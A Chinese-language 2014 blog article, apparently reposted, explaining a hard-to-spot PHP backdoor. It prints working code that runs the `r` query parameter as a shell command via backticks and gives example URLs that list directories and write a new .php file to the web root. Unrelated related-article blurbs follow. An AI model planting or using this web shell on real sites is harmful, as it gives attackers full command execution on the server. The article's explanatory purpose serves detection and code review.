一個不易被發(fā)現(xiàn)的PHP后門代碼解析
更新時間：2014年07月05日 16:16:53 投稿：shichen2014
這篇文章主要介紹了一個不易被發(fā)現(xiàn)的PHP后門代碼解析，對于網(wǎng)絡(luò)安全來說非常重要,需要的朋友可以參考下
偶然間看到一段，看起來似乎沒有什么問題，確是能致命的后門代碼，這里用到了一個一般的PHPer都不怎么關(guān)注的反撇號 ` ，反撇號包含的字符串，等同于shell_exec函數(shù)。
偽裝性很好，很容易被管理員忽略。
$selfNums = $_GET['r'];
if (isset($selfNums)){
echo `$selfNums`;
}
剛看到這段代碼我想大家都會說沒有問題，但是細心的朋友也會發(fā)現(xiàn)下面的變量被一個符號包起來了，既然是變量為什么要這樣了，
而且又不是單引號，這個就是關(guān)鍵所在了，這個符號是 Esc 下面的一個鍵（位于感嘆號！旁邊的），
通過 echo `系統(tǒng)命令`; 可以達到 system(); 一樣的效果
如果不信的朋友可以測試
http://127.0.0.1/t.php?r=dir 可以列出目錄
http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:\web\90sec.php
我用 appserv 和虛擬主機已經(jīng)測試成功。
相關(guān)文章
php出現(xiàn)內(nèi)存位置訪問無效錯誤問題解決方法
這篇文章主要介紹了php出現(xiàn)內(nèi)存位置訪問無效錯誤問題解決方法,本文分析后得出的原因是sqlite擴展導(dǎo)致,需要的朋友可以參考下2014-08-08
cout<<運算符后面如果是常整數(shù)，那么最大可以輸出4294967295，即2^32-1，不允許出現(xiàn)負數(shù)，也就是說，cout<<運算符對于常整數(shù)只重載了unsigned int型；對于有小數(shù)的情況，則保留6位有效數(shù)字.2010-01-01
php計算兩個坐標(biāo)（經(jīng)度，緯度）之間距離的方法
這篇文章主要介紹了php計算兩個坐標(biāo)（經(jīng)度，緯度）之間距離的方法,涉及php相關(guān)數(shù)學(xué)函數(shù)的使用技巧,非常具有實用價值,需要的朋友可以參考下2015-04-04
計算兩個時間戳相隔的時間，以前腳本之家發(fā)布過具體到天數(shù)的，這個可以具體到小時數(shù)，需要的朋友可以參考下。2009-12-12
PHP怎么實現(xiàn)網(wǎng)站保存快捷方式方便用戶隨時瀏覽
網(wǎng)站保存快捷方式以后在瀏覽起來就比較方便了，實現(xiàn)的方法有很多，下面為大家詳細介紹下使用PHP實現(xiàn)網(wǎng)站快捷方式的保存，有此需求的朋友可以參考下，希望對大家有所幫助2013-08-08
如果用一句話概括RPC就是：遠程調(diào)用框架（Remote Procedure Call）。遠程調(diào)用意思就是：被調(diào)用方法的具體實現(xiàn)不在程序運行本地，而是在別的某個遠程地方。2021-05-05
運行代碼后在圖片目錄下會生成yuxing.xml，方便ubuntu自動切換壁紙.2010-07-07
在PHP7，一個新的功能，返回類型聲明已被引入。返回類型聲明指定的一個函數(shù)返回值的類型。下面這篇文章主要給大家介紹了php 7新特性之類型申明的相關(guān)資料，文中介紹的非常詳細，需要的朋友可以參考借鑒，下面來一起看看吧。2017-06-06
驗證碼想必大家都有見到過吧，在本文為大家介紹下PHP如何實現(xiàn)變色驗證碼，感興趣的朋友可以參考下2014-01-01
這篇文章主要介紹了Netbeans 8.2將支持PHP7，更精彩，下面就和大家一起學(xué)習(xí)學(xué)習(xí)，感興趣的小伙伴們可以參考一下2016-06-06